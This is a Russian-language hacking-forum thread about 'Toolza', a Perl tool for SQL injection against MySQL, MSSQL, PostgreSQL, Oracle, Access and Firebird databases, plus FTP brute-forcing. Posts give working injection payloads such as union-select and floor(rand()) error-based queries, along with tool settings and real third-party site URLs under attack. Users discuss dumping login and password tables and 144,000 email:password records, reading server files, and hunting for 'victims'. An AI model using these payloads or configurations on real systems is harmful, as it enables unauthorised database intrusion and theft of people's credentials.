Тулза не раз выручал реально респект +1
меня каждый день выручает эх молодец ты Pashkela.
Есть одно замечание насчет тулзы:
Когда работаю на mysqli (4версия) при выборе таблы, чтобы брутит колонок тулза автоматом использует с параметра url:"" с MS ACCESS & Jet а не из самого Mysql url:""
Это я заметил когда c Access JET поработал и потом перезапустил тулзу чтоб работать с Mysqli.
Оба скули стандартные.
PS. имей ввиду
root_sashok
22.11.2009, 17:07
Отличная тулза, завелась на маке с полпинка :)
Респект!
http://i013.radikal.ru/0911/b8/933db90f5e34.png
Pashkela
22.11.2009, 17:15
update:
Oracle SQL injection:
- Многопоточный
- POST/GET/Cookie/Proxy & etc.
- Возможность задать тип конвертации для принтабельного поля
- Авто CHR(data)||
- Остальное как в обычной скуле mysql
просто замените принтабельное поле на "^" (shift+6)
Видео: режим Oracle SQL injection (http://bug-track.ru/prog/toolza_oracle.rar)
Обновления как всегда в первом посте темы, скрипт в UTF-8
привожу листинг глюк при работе со стандартным Mysql4 inj чтоб ты понял где исправит:
C:\Perl64\toolza1.0>toolza.pl
-----------------------------------------
-----------------------------------------
Toolza 1.0 by Pashkela [ BugTrack Team ] (c) 2009
----------------------------------------------------------
Choose mode:
----------------------------------------------------------
[1] Mysql injection
[2] MSSQL injection
[3] PostgreSQL injection
[4] Sybase SQL injection
[5] Access & Jet SQL injection
================================================== =====
[6] LFI/Reader/Load_file() bruter
[7] Scan site for folders & files
[8] FTP checker
[9] FTP bruter
[10] Proxy checker
[11] Proxy grabber
================================================== =====
[12] Exit
----------------------------------------------------------
1
Your choice: 1
----------------------------------------------------------
Choose mode:
----------------------------------------------------------
[1] Mysql inj system information
[2] Mysql inj get tables from information_schema
[3] Mysql inj get column_name from table
[4] Mysql inj get data from columns
[5] Mysql inj brute tables & columns
[6] Mysql inj column number bruter
[7] Mysql inj Blind
[8] Mysql inj NAME_CONST
----------------------------------------------------------
[9] Main menu
----------------------------------------------------------
3
Your choice: 3
-----------------------------------------
Enter the table_name: companies
Table: companies
----------
Database for companies: localhost.com (но при system information дб другой, не само название сайта)
Number of columns in localhost.com.companies: localhost.com
----------
Request method - GET
Threads - 10
Proxy - no
----------------------
----------
Saved in z_localhost.com.txt
----------------------------------------------------------
Choose mode:
----------------------------------------------------------
[1] Mysql inj system information
[2] Mysql inj get tables from information_schema
[3] Mysql inj get column_name from table
[4] Mysql inj get data from columns
[5] Mysql inj brute tables & columns
[6] Mysql inj column number bruter
[7] Mysql inj Blind
[8] Mysql inj NAME_CONST
----------------------------------------------------------
[9] Main menu
----------------------------------------------------------
На старых версиях норм брутил колонки, и теперь появился после добавления MSACCESS & JET
Pashkela
22.11.2009, 17:30
2 YuNi|[c:
Вопросы более чем странные у тебя сегодня. Как можно взять колонки из таблицы если ветка 4????? Только сбрутить можно (по крайней мере без извращений если). В 4-ой ветке нет information_schema.tables и нет information_schema.columns и вообще нет information_schema. Т.е., если 4-ая ветка, и тебе нужны колонки, нужно выбрать из меню
[5] Mysql inj brute tables & columns
а там уже выбрать "брутить колонки"
PS: Не пугай меня больше так. Пункт 3 имеет отношение только к 5-ой ветке mysql
вооо блин сорри я уже перепутал все. Да знаю что в 4 ветке нету information_schema.tables )) Сам хорошенко значит не посмотрел
Видимо потому что 2 сутки не спал ))
PS. не ругайся я все еще тестирую и хочу чтоб тулза развивался
Pashkela
22.11.2009, 19:15
не ругайся
не ругаюсь, с чего ты взял
и хочу чтоб тулза развивался
смотря куда, пока основное все готово, после ваших возможных тестов только если устранение багов + добавление в postgresql возможность работы на подзапросах, а так не вижу особого смысла что-то еще туда добавлять, только скули в других экзотических БД, статей про которых на анитичате пока нет
*ушел в отпуск в общем*
ок тулза уже справляется почти всем бд. А слышал что gui написать для перл гемор как на ocb_public.pl или всетаки возможно? Думаю в таом случаи многопоточность уходить в сторону
Pashkela
22.11.2009, 20:03
А слышал что gui написать для перл гемор как на ocb_public.pl или всетаки возможно? Думаю в таом случаи многопоточность уходить в сторону
да, именно из-за многопоточности нормальной в большинстве режимов принято решение не писать GUI. Итак цмд-гуи. Аналогов нет. Плюс хоть какой-то порог для кидисов.
PS: Предлагаю в теме больше не восхищаться/возмущаться/флудить в общем, а писать только по делу. Дело - это:
- баги в скрипте
- пожелания по улучшению функциональности (хотелось бы, чтобы было то-то и и то-то, в пределах разумного)
Saint-Sky
23.11.2009, 01:53
Тулза - класс!
Только вот одна неприятная штука - когда брутишь, например, названия таблиц, то иногда почти сразу в выводе видишь нужные(из первой сотни в словаре). Так вот, нужно сделать так, чтобы при нажатии определённой клавиши брут останавливался(и не только брут, но и другие операции), а уже полученные результаты записывались в файл(при остановке скрипта через CTRL+Break - результаты теряются)...
Также решил потестить брут на давно валяющейся Access-SQLInj(_http://www.bodylab.dk/blog.asp?id=10+union+select+1,2,3,4,5,6,7,8,9,10).
Тогда, когда я ее крутил - не смог сбрутить таблички кроме одной - "blog" и решил попробовать твоей штучкой. Через некоторое время брута полезла всякая хрень(якобы название табличек) - это баг или как?
Еще мелкий недостаток - в чеккере прокси в файле proxy_good.txt появляются 2 пробела перед хорошими проксями - не всегда такой список подходит для других прог(хотя, конечно, можно и блокнотом подправить)...
Pashkela
23.11.2009, 03:05
Также решил потестить брут на давно валяющейся Access-SQLInj(_http://www.bodylab.dk/blog.asp?id=10+union+select+1,2,3,4,5,6,7,8,9,10).
Тогда, когда я ее крутил - не смог сбрутить таблички кроме одной - "blog" и решил попробовать твоей штучкой. Через некоторое время брута полезла всякая хрень(якобы название табличек) - это баг или как?
Названия таблиц, содержащие пробел полезли, такой формат названия таблиц поддерживает только MySql(ну или не только, главное Access такие не поддерживает), удали их из файла словаря таблиц просто, нормального словаря для Access не нашел.
Про брут - видишь нужные - запомнить можно по идее, закрытие файла идет только по окончании брута, прерывание не дает корректно записать в файл. Буду думать.
Про прокси понял, спасибо
Pashkela
23.11.2009, 04:15
update:
ms access sql inj:
1. Исправлен баг с названиями таблиц/колонок для брута (автоопределение содержание пробела в названии еще на этапе формирования списка) - теперь "хрень" не пройдет
2. Добавлены таблицы/колонки с darkc0de.com - штук 25 всего, но пусть будут
proxy grabber, proxy checker - исправлен баг с пробелами.
Обновления в первом посте
если можно добавь еще на access inj чтоб взял не только с body правильный ответ, но и с title. Щас проверил когда правильное поле на тайтл тулза не видет его. Если конечно можно конечно
Pashkela
23.11.2009, 06:14
Это вряд ли, парсятся все сорцы страницы, включая заголовки. Пример в студию или в личку
PS: Не забывайте про POST/GET менять. Далеко не все скули поддерживают POST
Pashkela
23.11.2009, 07:20
проверил, все работает.
Видео по работе с ms access смотрел? Там просто нестандартная ошибка при order+by+100, не как у всех. Т.е. здесь:
$a_error_code_column_more = "80004005"; # method ORDER BY - error code when column number is MORE
другой код, сделай order+by+100 и увидишь - 80040e14
там вроде 4 поля и их нашел sqlhelper2.7 но тулза почему то не сможет найти
неправильно нашел твой sqlhelper2.7 - там всего одна колонка, т.е.:
-11+union+select+1+from+[brute table]
Метод GET. Легко проверяется ручками - order+by+1 и order+by+2 - и сразу поймешь
Проверяй настройки. Код ошибок не универсален для каждой скули в ms access. Ошибки надо сверять на каждом этапе - подбор колонок, брут таблиц, брут колонок. Внимательней
PS: Там сложный запрос и union+select не прокатит, данные сдампить не получится
хех ты не правильно раскрутил
вот так&specific=-11+union+select+1,2,3,4+from+tblNews%00
и теперь посмотри на тайтл ))
Pashkela
23.11.2009, 08:00
ну хз, такая скуля странная, таблица tblNews сбрутится при любом кол-ве колонок, и с 1, и с 4, и с 10 и с ..... Считай исключение из правил
ну хз, такая скуля странная, таблица tblNews сбрутится при любом кол-ве колонок, и с 1, и с 4, и с 10 и с ..... Считай исключение из правил
из этого вывод: если можно сделай чтоб не тока неправильный ответ настроил, а правильный тоже можно было выбрат как на мускуле. Тогда можно будеть обходит поставив слово "Latest News" на правильный ответ и будеть отличать поля 1 и 4.
Как идея? Можно реализовать?
Pashkela
23.11.2009, 08:07
Ну да, согласен, но только тут не все так просто, как хотелось бы, вот классический пример access скули:
http://accashriners.com/news.asp?ID=-4+order+by+8
кол-во колонок 7 штук. Но при order+by+7 показывается ошибка. Т.е. есть граница, которую можно отследить, но нет четко выраженного сообщения, когда кол-во колонок подобранно верно. Есть когда больше, или меньше
И такая ситуация в большинстве access скуль. Так что алгоритм пока такой, т.к. он более универсальный
В этом случаи я вставляю $a_error_code_column_more = "engine does not recognize"; # method ORDER BY - error code when column number is MORE
и легко обходится, но если бы ты сделал что можно было поставит если че: "no News that match that ID" на верный ответ
Pashkela
23.11.2009, 08:29
если че: "no News that match that ID" на верный ответ
И? Ну подумай дальше. Такой ответ выдаст на колонки с 1 по 7, какое кол-во принимать за истину? В данном случае невозможно выставить четкий идентификатор правильной колонки, только идентификатор ГРАНИЦЫ, а с какой стороны к этой границе подползать - справа или слева - не суть. То, что только что предложил ты - тоже самое по сути, просто слева, а не справа
из этого вывод: если можно сделай чтоб не тока неправильный ответ настроил, а правильный тоже можно было выбрат как на мускуле
кхм...если знаешь правильный ответ, то зачем подбирать колонки? Значит ты уже знаешь их кол-во.
я имел ввиду эту фукцию добавить и будеть полезно для брута столбцов
еще на mysql 5 когда сливает данные с information_schema не показывается другие бд. А на других прогах определяется все бд например:
information_schema
tscan_db
tscan_db_hsbc
тут тока один и всё. Сможеш сделать так?
Неработает!!!
Обьесните мне, значит вот что у меня не выводит юзеров значит проблема вот в чём я знаю что юзеров 26 но у меня почему-то тулза выводит только 15, я переберал в ручную вот пример
(union+select+1,2,3,password,5,6,7,8,login+from+cl ients+limit+1,1 union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+2,1 union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+3,1 ну и.т.д но потом у меня лимит меняеться на union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+15,2 union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+16,2 union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+17,2 ну и,т,д) вот и она невыводит дальше после 15 юзеров потому что лимит меняеться на limit+15,2 подскажите как решить эту проблему!!
связь:359-860-516
вот и обидели 4ела =\ докатились....
а мну нравилсо проект почти все в одном...
никто не обижает, я просто тестируб прогу и хочу чтоб работал лучше и говорю про нужных возможных дополнениях
ace89
про лимит уже написали что и как в предыдущих постах, прочитай их
Млин стукните кто нить в icq
Pashkela
24.11.2009, 19:33
update:
PostgreSQL injection:
1. UNION+SELECT method:
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Возможность задавать в настройках data type принтабельного поля ("text" - default)
- Авто CHR(data)||
- Остальное все тоже самое, что и в mysql
2. SUBQUERY method:
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Возможность задавать в настройках тип конвертации данных для вызова ошибки
- Авто CHR(data)||
- Остальное все тоже самое, что и в mysql
Пример метода UNION+SELECT:
http://site.com/index.phtml?pid=7+union+select+null,version(),null--
Настройки в скрипте:
$p_union_select_url = "http://site.com/index.phtml?pid=7+union+select+null,^,null"; # url UNION+SELECT method
$p_subquery_url = ""; # url SUBQUERY method
$p_method = 0; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$p_filtr = "--"; # close SQL
$p_plus = "+"; # %20,%2b & etc.
$p_convert = "text"; # convert data type(text,int ... etc.)
Пример метода SUBQUERY:
http://site.com/index.php?id=1+and+1=cast(select+version()+as+int)
или
http://site.com/index.php?id=1+and+1=version()::int
что тоже самое
Настройки в скрипте:
$p_union_select_url = ""; # url UNION+SELECT method
$p_subquery_url = "http://site.com/index.php?id=1+and+1="; # url SUBQUERY method
$p_method = 1; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$p_filtr = ""; # close SQL
$p_plus = "+"; # %20,%2b & etc.
$p_convert = "int"; # convert data type(text,int ... etc.)
PS: Examples - можете потестить на свой страх и риск:
1. UNION+SELECT метод:
https://forum.antichat.ru/showpost.php?p=1308855&postcount=9661
POST-method granted
2. SUBQUERY метод:
https://forum.antichat.ru/showpost.php?p=1704231&postcount=11320
POST-method granted
Pashkela может алгоритм посмотриш с Silvia sql насчет инъекции access&jet db.
Pashkela
25.11.2009, 18:29
а что не так с access? Ты опять про подбор кол-ва колонок?
посмотрел сильвию - аналогичный метод подбора, также слева пляшет и в один поток, пока не встретит "The Microsoft Jet database engine does not recognize", у меня просто код вручную можно вводить (для универсальности, а то изменят надпись и что, гуляй Василий?) - "80004005". А смысл по большому счету тот же
Ну если тебе так нравиться, впиши вместо 80004005 "The Microsoft Jet database engine does not recognize" - будет тоже самое
PS: Какой там нафиг алгоритм, у сильвии даже "+" жестко вписан в код, не говоря уже об возможных close sql. На уровне "прокатит/не прокатит"
Pashkela
25.11.2009, 20:11
update:
Кстати все равно спасибо, что напомнил - оптимизировал (убыстрил) алгоритм подбора колонок в access - теперь узнается практически моментально. Обновления в первом посте.
update:
небольшая общая отпимизация/универсализация кода для различных ситуаций
Неработает!!!
Обьесните мне, значит вот что у меня не выводит юзеров значит проблема вот в чём я знаю что юзеров 26 но у меня почему-то тулза выводит только 15, я переберал в ручную вот пример
(union+select+1,2,3,password,5,6,7,8,login+from+cl ients+limit+1,1 union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+2,1 union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+3,1 ну и.т.д но потом у меня лимит меняеться на union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+15,2 union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+16,2 union+select+1,2,3,password,5,6,7,8,login+from+cli ents+limit+17,2 ну и,т,д) вот и она невыводит дальше после 15 юзеров потому что лимит меняеться на limit+15,2 подскажите как решить эту проблему!!
связь:359-860-516
Pashkela
26.11.2009, 22:02
Дорогой axe89, в теме по твоему вопросу уже было написано, что тулза поддерживает только (исключительно) формат перебора limit+n,1 - где n - меняющееся значение, формат limit+n,n не поддерживается, к сожалению, ибо нафиг никому не нужен, как правило
Т.е. ответ на твой вопрос только один - никак, и, хотя может быть, но таки врядли ты найдешь что-то в сети, что умеет это делать
PS: Совет - если у тебя постоянно такие вот нестандартные скули - возьми и напиши свой скрипт для такого типа дампа, или попроси кого-нибудь.
Pashkela
26.11.2009, 22:06
Подумаю
или посоветуй как слить базу без limit+1,1 limit+2,2 и,т,д
Pashkela
26.11.2009, 22:09
https://forum.antichat.ru/thread118842-group_concat.html
PS: В конце концов и то, что тебе нужно, уже заложено в тулзе, укажи условие where id>чего-то, и будет тебе счастье
Столкнулся вепрвые с name_const
навели меня на эту утилитку + заодно увидел и другую утилиту sql... как-то там
По мне лично,как новичку, удобнее пользоваться Toolza как говориться есть какой никакой интерактив, т.е. выбрал,выбрал...и пошел...
Скорость....что касается скорости я особо не запариваюсь, для меня важен результат, результат был получен, спасибо Pashkela.
ИМХО утилита - проста, разнообразна по функционалу, удобна "как для новичка".
Спорить об алгоритмах, быстродействиях не могу ввиду своих малых познаниях в SQL
Pashkela
29.11.2009, 18:30
update:
- Для всех режимов работы - поддержка SOCKS4-5 (файл socks.txt) - авточекинг, автоопределение типа носка(4-5), без авторизации, работает с первым рабочим
видео - режим SOCKS mode (http://bug-track.ru/prog/toolza_socks.rar)
отдельное спасибо опять же krypt3r (https://forum.antichat.ru/member.php?u=35965) за разъяснение работы с соксами
Обновления в первом посте темы
Если есть возможность можно сделать настройку отправки запросов через http header:referref, client-ip, x-forwarded-for и тд. Если на MSSQL есть скул на HTTP Header то на mssql нету такого проги для инъекции черех хедер
colorist
02.01.2010, 21:13
Хорошая прога, но возникли трудности с дампом mysql 5, 144 000 записи, на экране все отображается нормально, а в текстовом файлике иногда записывает мыло не полностью например .ru:pass или @mail.ru:pass, иногда вобще пустая строка, выход нашел тянуть по 1500 но блин так замахатся можно, может есть какой нибудь другой выход?
Pashkela
03.01.2010, 00:34
Честно говоря не вы первый, кто говорит, но сам ни разу не сталкивался, тягал по 20 000 и больше зараз. Перепроверю...попозже.
Если происходит обрыв связи (интернет) или с сайтом (скорее всего сайт после такого дампа становится недоступен и через браузер) - да, не запишется, пока не заберет заявленное кол-во. При плохом коннекте выход только один - дампить частями.
PS: Рекомендуемое кол-во потоков - 10, если такое происходит при 10, то еще уменьшить кол-во потоков, при плохом коннекте это имеет значение для качества дампа.
Плюс если работаете через прокси/соксы - имеет значение качество коннекта через них
daniel_1024
08.01.2010, 20:55
хотелось бы видеть в тулзе еще и сканер сайтов на одном ip, не помешало бы...
кроме этого хотелось бы видеть реализованным нечто по типу "Bot MySql Search Google" (почитать про него тут -http://foro.elhacker.net/nivel_web/bot_mysql_search_google_20-t271218.0.html)
Скрипт сам ищет уязвимые сайты с mysql ошибками и по заданным пользователям критериям. А это очень облегчает поиск "жертвы", ведь иногда приходится перебрать сотни ссылок в поисках уязвимого сайта. Скрипт сыроват, он выпущен недавно, да и работает не очень хорошо..
Pashkela
08.01.2010, 21:00
хотелось бы видеть в тулзе еще и сканер сайтов на одном ip, не помешало бы...
кроме этого хотелось бы видеть реализованным нечто по типу "Bot MySql Search Google" (почитать про него тут -http://foro.elhacker.net/nivel_web/bot_mysql_search_google_20-t271218.0.html)
Скрипт сам ищет уязвимые сайты с mysql ошибками и по заданным пользователям критериям. А это очень облегчает поиск "жертвы", ведь иногда приходится перебрать сотни ссылок в поисках уязвимого сайта. Скрипт сыроват, он выпущен недавно, да и работает не очень хорошо..
1. 2ip.ru
2.Bot MySql Search Google - просто гы, 100 000 $ гарантия работы - 1 неделя максимум.
PS: Нет в природе ни одного и чем дальше, тем больше, нормального сканера на скули. И не будет никогда до тех пор, пока не появится AI (четай - Скайнет, в прямом смысле слова)
daniel_1024
08.01.2010, 21:55
нет, ну всё-таки к примеру SQLIHelperV.2.7 и продобного рода программы могут раскрутить скулю типа www.site.ru/pages.php?id=1'
А ведь Xspider, Acunetix Web Vulnerability Scanner - все они имею довольно хорошие алгоритмы обнаружения sql-инъекций и прочих уязвимостей. Конечно голову и руки они не заменят, но всё-таки...
Pashkela
09.01.2010, 12:37
update:
Mysql inj 5 - добавлено:
Mysql inj get DB-names from information_schema.schemata
Mysql inj get tables from DB-name
Mysql inj get column_name from tables from DB-name
xelex999
14.01.2010, 17:34
Отличная программа,доходчивое видео что еще надо,хорошо себя показала даже на очень медленном и жутко непостоянном канале,ну а по функционалу вапще слов нет
Мощная штука,спасибо Pashkela
Pashkela
15.01.2010, 19:36
update:
Firebird/Interbase SQL injection:
- Многопоточный
- POST/GET/Cookie/Proxy & etc.
- Возможность задать тип конвертации для выводимых данных
- Авто ascii_char(data)||
Исходная ссылка:
http://example.com/image.php?operator=2)+and+1=user--
или
http://example.com/image.php?operator=2)+and+1=cast(user+as+char(777) )--
В скрипте:
$fi_source_sql = "http://example.com/image.php?operator=2)+and+1=";
$fi_filtr = "--"; # close SQL
$fi_plus = "+"; # %20,%2b & etc.
$fi_convert = "char(777)"; # default data type - char(777)
Вывод на экран и запись в файл. Видео прилагается
режим Firebird/Interbase SQL injection (http://bug-track.ru/prog/firebird_interbase.rar)
Огромный риспект l1ght за эту статью (https://forum.antichat.ru/thread170592.html)
Krist_ALL
18.01.2010, 15:25
пашкелаа, у меня слепая инекция в пост. я непонял как настроить твою тулзу под блинд пост..тока под гет...
как быть?
Pashkela
18.01.2010, 15:50
если скуля в полях формы ввода и в итоге не попадает в адресную строку (tamper data) - пока никак
xelex999
19.01.2010, 16:00
Проблема с blind-mode
Toolza не видит иньект если идентификатор меняется а не исчезает,к примеру двиг tbdev,там правилная строка от неправильной отличается только одной цифрой,
запрос номер 1 был успешно сброшен==прав
запрос номер был успешно сброшен==неправ
Вышеупомянутый скрипт от Grey работает без проблем.
ЗЫ::toolza выдала рутпасс даже неспросив-мелочь а приятно,ещебы шелл сама заливала при файлприв "y" ,в смысле если автоматизировать то до упора........
Pashkela
19.01.2010, 16:42
ам правилная строка от неправильной отличается только одной цифрой,
ищите другие идентификаторы, одна цифра (которая дает разницу, от 0 до 9) по любому есть в сорцах любой интернет страница, воспользуетесь CTRL+F
Разницы в одну цифру недостаточно, если текст+эта одна цифра и текст на русском - имеет значение кодировка, в которой сохранен скрипт
PS: Ну или ссылку с личку
Pashkela
Софт супер, но не могу одного понять:
Я дампил базу с 630 записями, сдампил лишь только 10 о_0. Ставил меньше потоков, больше таймаут и т.д... Все-ровно. В чем дело-то?
P.S.:
Проверил ручками, записи дальше есть, не пустые...
Pashkela
22.01.2010, 05:41
Ну сложно ответить не видя, сам понимаешь, ссыль в личку тогда. Ситуации разные бывают
Ну сложно ответить не видя, сам понимаешь, ссыль в личку тогда. Ситуации разные бывают
Я понял в чем дело ;)
Короче, при переборе лимитом у тебя юзается: ..+limit+[id],1 - а в моей скуле такое не прокатет, там надо ...+limit+[id],[max_count]. Поэтому и не пашет) Но я переписал под себя, изменив код вот так:
Строка 903: $current = $url17 . $plus . "limit" . $plus . $num . ",9999" . $filtr;
Pashkela
22.01.2010, 06:03
дык, молодцом, на то и открытый код )
Pashkela
12.02.2010, 13:20
update (небольшой, но недавно пригодился):
Mysql inj: - условие where при дампе данных - поддержка как числовых так и mix условий (автоопределение, авто- HEX).
Blind MySQl inj:
-Blind inj get DB-names from information_schema.schemata
-Blind inj get tables from DB-name
-Blind inj get column_name from tables from DB-name
-Blind inj get LOAD_FILE (file_priv = Y)
предварительно определяется размер файла и есть возможность выбирать, читать весь файл или часть файла (начиная и заканчивая любым байтом), весь процесс чтения виден на мониторе.
ВИДЕО: режим Blind SQL injection LOAD_FILE (file_priv=Y) (http://bug-track.ru/prog/blind_load_file.rar)
люди объясните мне что я делаю не правильно? сканирую сайт на папки / файлы после сканирования оказывается весь список scaner_folder_list в результирующем файле т.е. сканер не видит ошибок. В файл с ошибками закинул title со страницы с ошибкой, не помогло, закинул первую строчку со странице результат тот же...
сканер запускаю под линуксом пробовал менять кодировку файла с ошибками на UTF-8 и обратно на виндовую... опять ничего не помогло :(
Pashkela
13.02.2010, 19:46
а страница ошибки явная или идет редирект или остается(возвращается) на главной? Какая кодировка в исходниках? Приведи текст ошибки
PS: Край - скинь ссылку в личку
вот код
<html>
<head>
<meta http-equiv="Content-Language" content="ru">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>404 - страница не найдена...</title>
</head>
<body topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0">
<table border="0" width="800" id="table1" cellspacing="0" cellpadding="0">
<tr>
<td width="442"><img border="0" src="http://z104249.infobox.ru/shhh.gif" width="442" height="359"></td>
<td style="border-style: solid; border-width: 1px; padding-left: 4px; padding-right: 4px; padding-top: 1px; padding-bottom: 1px">
<p align="center"><font size="7">404</font><span lang="ru"><br>
страница не найдена,</span></p>
<p align="center"><span lang="ru">Но не следует беспокоиться - скоро этой ошибки
на этом месте не будет.</span><p align="center"> <p align="center">
А пока можно вернуться <a href="javascript:history.go(-1)">назад</a> и
узнать что-то другое, не менее интересное и познавательное... </td>
</tr>
</table>
</body>
</html>
редиректа нет, как видно кодировка виндовая
Pashkela
13.02.2010, 20:54
Дай ссылку в личку
PS: Скрипт сохрани в ANSI
Pashkela
14.02.2010, 01:24
Получил ссылку в личку, там уникальный (читай - доселе неприсутствувавший) в scaner_error_list.txt текст, а именно:
404 - страница не найдена
метод GET, все прекрасно сканится, т.е. надо понимать буквально - 100% совпадение того, что в исходниках на странице-идентификаторе неверного запроса, и того, что в scaner_error_list.txt
PS: Чтобы понять, о чем я - открой scaner_error_list.txt, CTRL+F и "404 - страница не найдена" - такой ошибки там по дефолту нет, поэтому и не сканилось.
Т.е. решение - просто вставь в scaner_error_list.txt новую строчку - 404 - страница не найдена, метод GET, и все будет ок
Это инструмент, мощный инструмент, но никак не AI
в scaner_error_list.txt я сразу вписал ошибку.... с методом протупил...
прошу добавит фунцию типа select ... from ... where table_shema... тоесть не тока с текушего бд но и от остальных
Pashkela
15.02.2010, 02:31
в MySQL уже давным-давно добавлено
update:
NAME_CONST - get DB-names from information_schema.schemata
NAME_CONST - get tables from DB-name
NAME_CONST - get column_name from tables from DB-name
daniel_1024
15.02.2010, 13:49
Pashkela, прога как то странно себя ведет когда в нескольких базах уязвимого сайта есть таблицы с одним и тем же названием...тулза дампит данные только из какой-то одной...возможность выбора отсутствует...
З.Ы переход на gui всё-таки не планируется?
в MySQL уже давным-давно добавлено
update:
NAME_CONST - get DB-names from information_schema.schemata
NAME_CONST - get tables from DB-name
NAME_CONST - get column_name from tables from DB-name
ой сорри я сам не обновился ))
Pashkela
15.02.2010, 15:41
Pashkela, прога как то странно себя ведет когда в нескольких базах уязвимого сайта есть таблицы с одним и тем же названием...тулза дампит данные только из какой-то одной...возможность выбора отсутствует...
З.Ы переход на gui всё-таки не планируется?
синтаксис такой
ИМЯ_БД.ИМЯ_ТАБЛИЦЫ - и будет дампить откуда надо, если речь про пункт 7
когда спросит Mysql=>5 если уже есть имя БД, то надо выбрать 0 (нет), чтобы не переопределяло имя базы (делается автоматически)
gui не планируется
UPDATE (17.02.2010):
устранение серьезных багов по всему коду, код стал более стабильный и универсальный, перекачать в первом посте
daniel_1024
21.02.2010, 22:18
Pashkela, можешь переделать алгоритм сканера сайтов - чтобы он проходил по какому-то несуществующему адресу, тем самым узнавая дефолтную 404 страницу для сканируемого сайта, а затем уже сравнивал с нею всё остальное...тогда и файл с ошибками не нужен будет...
Pashkela
24.02.2010, 02:33
update:
Для всех режимов работы - поддержка HTTPS+Authorization
сделано на IO::Socket::SSL
UBUNTU: sudo apt-get install libio-socket-ssl-perl
WIN: install Net::SSLeay and IO::Socket::SSL
+ раскоментировать строчку 48
новые переменные:
$https_mode_auth = 1; # 1 - если нужна авторизация, 0 - нет
$https_auth_script_path = "/login.php"; # путь до скрипта авторизации (начинается со слеша)
$https_auth_post_data = "username=admin&passwd=sex"; # логин, пароль, название полей и etc., взять можно из Tamper Data (FireFox plugin) при авторизации на ресурсе
автоматическое распознавание url, если https и авторегистрация, если есть данные
Pashkela
24.02.2010, 18:48
update:
MySql inj floor(rand()):
Названо просто от балды, еще одна альтернатива Blind Mysql injection, но уже для 4.1<=Mysql=>5, т.к. использует стандартные функции для старых версий (можно сказать альтернатива name_const), основано на вызове той же ошибки Duplicate
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Все те же возможности, что и при обычной скуле + та же скорость
скуля:
http://example.com/?id=1+or(1,2)=(select+count(*),concat((select+vers ion()+from+information_schema.tables+limit+0,1),0x 3a,floor(rand()*2))+from+information_schema.tables +group+by+2+limit+0,1)--+
переменные в скрипте:
$f_table = "information_schema.tables"; # default 'information_schema.tables' if MySQL>=5 and if MySQL<5 - you must brute table_name before and print here
$f_url = "http://example.com/?id=1+or(1,2)="; # url
$f_plus = "+"; # %20,%2b & etc.
$f_filtr = "--+"; # close SQL
PS: Приведу еще один пример, некоторые просто не вполне понимают возможности:
скуля:
http://example.com/?id=(select+1+from+(select+count(*),concat((select +version()+from+information_schema.tables+limit+0, 1),0x3a,floor(rand()*2))+from+information_schema.t ables+group+by+2+limit+0,1)a)--+
переменные в скрипте:
$f_table = "information_schema.tables"; # default 'information_schema.tables' if MySQL>=5 and if MySQL<5 - you must brute table_name before and print here
$f_url = "http://example.com/?id=(select+1+from+"; # url
$f_plus = "+"; # %20,%2b & etc.
$f_filtr = "a)--+"; # close SQL
[1] floor(rand()) - system information\n";
[2] floor(rand()) - get DB-names from information_schema.schemata\n";
[3] floor(rand()) - get tables from DB-name\n";
[4] floor(rand()) - get column_name from tables from DB-name\n";
[5] floor(rand()) - get tables from information_schema (current DB)\n";
[6] floor(rand()) - get column_name from table (current DB)\n";
[7] floor(rand()) - get data from columns\n";
[8] floor(rand()) - Mysql4 inj brute tables and columns\n";
теперь с blind mysql4 можно работать как с обычной скулей
Обновления в первом посте темы как обычно
PS: + исправление мелких багов
update 28.02.2010 - фикс багов
https - это огромный плюс.
Остальное тоже на уровне.
софтинка то что надо.
вообще то на данный момент самый лучшый прога для слива бд. Жал что без GUI хотя бы до запуска самого дампа надо сделать интерфейс для настройки. Это реализовал кто то на World Fastest MD5 cracker BarsWF написав GUI (BarsWF launcher)
http://s52.radikal.ru/i138/1003/cc/a8809d44b771.jpg
правда та прога не на перле(знаю что оч гемор написать GUI для перл) но все таки по теме привел пример.
Кстати sql_ocb_public от ачата тоже с GUI реализовано ))
Pashkela бро пересмотри на тулзе функцию name_const и floor rand у обеих все норм выводит таблы но когда дело дойдет до колонок то придется по одному выводит а инфо с колонок а не несколько например user_id,username сразу не выводит
Pashkela
14.03.2010, 01:45
пример студию!
PS: А вообще в некоторых случаях может быть ограничение длины строки запроса
linuxkernal
16.03.2010, 16:06
hello
i want to injection in mysql vulnerable site
http://www.milliontreeproject.co.uk/retailer.php?catid=-1+UNION+SELECT+1,2,3
and 2 columns is printable field
i am trying to get information of this site through Toolza i edit 1 line in toolza.pl
i edit like this
################################################## ################################################## #####################################
## Основные настройки MySQL - вместо принтабельного поля поставьте " ^ " |MySql Basic options - print " ^ " instead of printable field #
################################################## ################################################## #####################################
$source_sql = "http://www.milliontreeproject.co.uk/retailer.php?catid=-1+UNION+SELECT+1,^,3";
$filtr = "--"; # close SQL
$plus = "+"; # /**/,%20,%2b & etc.
$limit = 0; # 0 - no limit; 1 - limit+0,1; 2 - limit+1,1
$unhex = 0; # unhex(hex(DATA))); 0 - disable; 1 - enable
$aes = 0; # AES_DECRYPT(AES_ENCRYPT(DATA),x071),x071); 0 - disable; 1 - enable
$aes_key = "0x71"; # AES key
and when i run toolza.pl and want to get information it get nothing and give like this only
system information:
Request method - Post
Threads - 10
proxy - no
saved in z_www.milliontreeproject.co.uk.txt
why i am not getting information ???
please help me
thank you
Pashkela
16.03.2010, 17:51
There is some trouble with parsing page via sockets, thanks for bug report, so new parameter in the script in global settings:
$get_method = 1; # 0 - via IO::Socket, 1 - via LWP::Simple - if can't get DATA
